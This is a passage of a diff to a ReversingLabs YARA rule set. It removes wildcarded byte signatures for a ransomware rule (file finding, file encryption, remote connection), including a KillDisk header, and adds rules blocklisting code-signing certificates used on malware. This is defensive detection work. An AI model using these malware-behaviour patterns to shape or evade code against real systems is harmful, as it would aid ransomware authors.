89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 66 66 66 0F 1F 84 00 ?? ?? ?? ?? 33 C0 C7 45 - ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 0F 84 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? 8B 08 85 C9 74 ?? 8B 85 ?? ?? ?? ?? 8B 00 8D 14 41 EB ?? 8B 85 - ?? ?? ?? ?? 8B 08 8B 85 ?? ?? ?? ?? 8B 00 8D 14 48 8B 85 ?? ?? ?? ?? 8B 08 2B D1 D1 - FA 81 FA ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8D 04 12 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 - ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 - ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? 50 89 85 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 - ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1 - } - $find_files_p4 = { - 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? - 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 - ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 8B D4 33 C0 C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 66 89 02 66 39 85 ?? ?? ?? - ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 71 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B - CE D1 F9 51 8D 85 ?? ?? ?? ?? 8B CA 50 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0 - 0F 84 ?? ?? ?? ?? 6A ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? - ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 CB ?? C7 45 ?? - ?? ?? ?? ?? 66 89 45 ?? 66 39 85 ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D - 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? - E8 ?? ?? ?? ?? 8D 45 ?? 83 CB ?? 50 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 - 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 - } - $find_files_p5 = { - 83 CB ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 CB ?? 50 8D 85 ?? - ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 CB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 83 CB ?? 50 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 85 C0 74 ?? - C6 45 ?? ?? F6 C3 ?? 74 ?? 8B 45 ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? - E8 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? F6 C3 ?? - 74 ?? 8B 85 ?? ?? ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? 66 89 85 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8B 85 ?? ?? ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 - 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8B 85 ?? ?? - ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? - ?? ?? 8B 45 ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33 C0 - } - $find_files_p6 = { - C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 E3 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 72 - ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? 50 8D 4D ?? FF 76 ?? 56 E8 ?? ?? - ?? ?? 8B 55 ?? B9 ?? ?? ?? ?? 2B CA 83 F9 ?? 0F 82 ?? ?? ?? ?? 89 46 ?? 42 8B 48 ?? - 89 55 ?? 89 01 E9 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? - 8D 45 ?? 50 8D 4D ?? FF 76 ?? 56 E8 ?? ?? ?? ?? 8B 55 ?? B9 ?? ?? ?? ?? 2B CA 83 F9 - ?? 0F 82 ?? ?? ?? ?? 89 46 ?? 42 8B 48 ?? 89 55 ?? 89 55 ?? 89 01 8B 45 ?? 83 F8 ?? - 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 54 E8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? 8B 75 - ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 7D ?? - 8B CF E8 ?? ?? ?? ?? 8B 4D ?? 85 C9 74 ?? 8B 7D ?? E9 ?? ?? ?? ?? 8B 4D ?? 85 C9 0F - 84 ?? ?? ?? ?? 0F 1F 00 8B 45 ?? 8D 4D ?? 8B 00 83 C0 ?? 3B C8 74 ?? 6A ?? 6A ?? 50 - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 - } - $find_files_p7 = { - 8D 45 ?? 3B C6 74 ?? 8B 4D ?? 83 F9 ?? 72 ?? 41 51 FF 75 ?? 8B C8 E8 ?? ?? ?? ?? 33 - C0 C7 45 ?? ?? ?? ?? ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? - 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B 75 - ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 0F 1F 00 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? - 6A ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF - 75 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 8D 85 ?? ?? ?? ?? 83 EC ?? F6 85 ?? ?? ?? ?? ?? 8B CC 50 0F 84 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 5D ?? 8D 45 ?? 50 8D 4D ?? FF 73 ?? 53 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? - 2B CE 83 F9 ?? 0F 82 ?? ?? ?? ?? 89 43 ?? 46 8B 48 ?? 89 75 ?? 89 01 8B 45 ?? 83 F8 - ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 54 E8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 74 - ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B CF 50 E8 ?? ?? ?? ?? 8B - 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF - 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 85 F6 0F 85 ?? - ?? ?? ?? FF 75 ?? FF 15 - } - $encrypt_files_p1 = { - FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 45 ?? 83 7D ?? ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? - ?? ?? ?? 6A ?? 50 66 89 45 ?? 8D 4D ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F - 43 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 89 45 ?? FF 15 ?? ?? ?? - ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? 8B 4D ?? 01 0D ?? ?? ?? ?? 8B 55 ?? 11 15 ?? ?? ?? ?? 83 FA ?? 0F 8C ?? ?? - ?? ?? 7F ?? 85 C9 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 66 0F 1F 84 00 - ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 - FF 74 ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A - } - $encrypt_files_p2 = { - 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ?? - 8B 55 ?? 8B 4D ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85 - ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? - ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 50 56 53 FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? - ?? ?? 56 E9 ?? ?? ?? ?? 8B F1 8B C2 81 C6 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 0F 87 ?? ?? - ?? ?? 72 ?? 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F - 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 90 - 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 - 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B - 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 - ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 - } - $encrypt_files_p3 = { - E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A ?? 50 E8 ?? ?? - ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B - 4D ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85 ?? ?? ?? ?? - 57 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 8B - 55 ?? 8D 45 ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 50 56 53 FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 56 E9 - ?? ?? ?? ?? 8B F1 8B C2 81 C6 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 72 ?? - 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 90 68 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B 55 ?? 8B 4D - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 - } - $encrypt_files_p4 = { - 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F - 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? E8 ?? - ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85 ?? ?? ?? ?? 57 50 E8 ?? - ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 45 - ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 - FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 56 E9 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 0F 1F 84 00 ?? ?? ?? ?? - 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B F0 83 C4 - ?? 85 F6 74 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 - 0F 1F 84 00 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 - ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 50 FF 75 ?? 56 53 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? - ?? ?? ?? 57 56 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? - ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 57 53 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 57 E8 - ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 0F 57 C0 66 0F 13 45 ?? 6A ?? 50 6A ?? 53 FF 15 ?? ?? - ?? ?? 8B 75 ?? 8D 45 ?? 6A ?? 50 FF B6 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? - ?? 50 FF B6 ?? ?? ?? ?? 53 FF D7 8B 35 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? 6A ?? 6A - ?? 6A ?? FF 35 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF D6 85 C0 0F - 84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? - ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? 8B 45 ?? 03 C0 50 E8 ?? - ?? ?? ?? 8B F0 83 C4 ?? 80 3E ?? 74 ?? 8B 45 ?? 8B CE 85 C0 74 ?? 66 90 C6 01 ?? 8D - 49 ?? 83 E8 ?? 75 ?? 8D 45 ?? 50 56 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF D7 6A ?? 8D 45 ?? 50 8B 45 ?? FF B0 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8B 45 ?? FF B0 ?? ?? ?? ?? 53 FF D7 53 FF 15 ?? ?? ?? - ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 6A ?? 50 FF 75 ?? FF - 15 - } - $remote_connection = { - FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 4D ?? 83 79 ?? ?? 72 ?? - 8B 09 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 51 57 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 - F6 0F 84 ?? ?? ?? ?? 8B 4D ?? 53 83 79 ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? BB ?? ?? ?? ?? EB ?? 51 8D 45 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BB - ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 8B C8 6A ?? E8 ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ?? - ?? 66 89 4D ?? 8D 4D ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8D 4D - ?? 83 E3 ?? E8 ?? ?? ?? ?? F6 C3 ?? 5B 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D - 4D ?? 6A ?? 68 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 0F - 43 45 ?? 50 68 ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F - 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 3D ?? ?? - ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 74 ?? 8B 45 ?? - 85 C0 74 ?? C6 84 05 ?? ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? - ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? - ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 75 ?? 8B 7D - ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45 - ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D - ?? ?? 8D 4D ?? 8B 45 ?? 8D 55 ?? 0F 43 4D ?? 8B 75 ?? 03 C1 83 7D ?? ?? 8D 4D ?? 52 - 0F 43 4D ?? 50 51 8B CE E8 ?? ?? ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 41 51 FF 75 ?? 8D 4D - ?? E8 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Aleman Ltd" and pe.signatures [ i ] . serial == "37:ca:4f:66:fd:cc:87:32:99:27:23:19:98:59:88:6c" and 1505952000 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_Be2F22C152Bb218B898C4029056816A9 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "d5ca9d9d-e80f-56c1-90b7-ef931e61ba92" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16080-L16098" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "cd99e4d97d9a60f409cf072bbae254486c307ae3cb6e34c5cd9648c972615f36" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Marts GmbH" and ( pe.signatures [ i ] . serial == "00:be:2f:22:c1:52:bb:21:8b:89:8c:40:29:05:68:16:a9" or pe.signatures [ i ] . serial == "be:2f:22:c1:52:bb:21:8b:89:8c:40:29:05:68:16:a9" ) and 1676246400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Killdisk : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Fc7065Abf8303Fb472B8Af85918F5C24 : INFO FILE { meta: - description = "Yara rule that detects KillDisk ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bd04ac88-987a-58f0-8f0a-508662b3c930" - date = "2020-06-26" - modified = "2020-07-15" + id = "1aebd2be-b22c-5102-a449-27025f61cce6" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.KillDisk.yara#L1-L80" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16100-L16118" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6148e6fc1363ff8995a9100e07139bfa658c72892db4d30a973bad0f2b3e6c3f" + logic_hash = "f57ae32d7efd9cd4c0a207897e30b871dc32405c5b9ad844c9bb7eee4827cc5a" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - 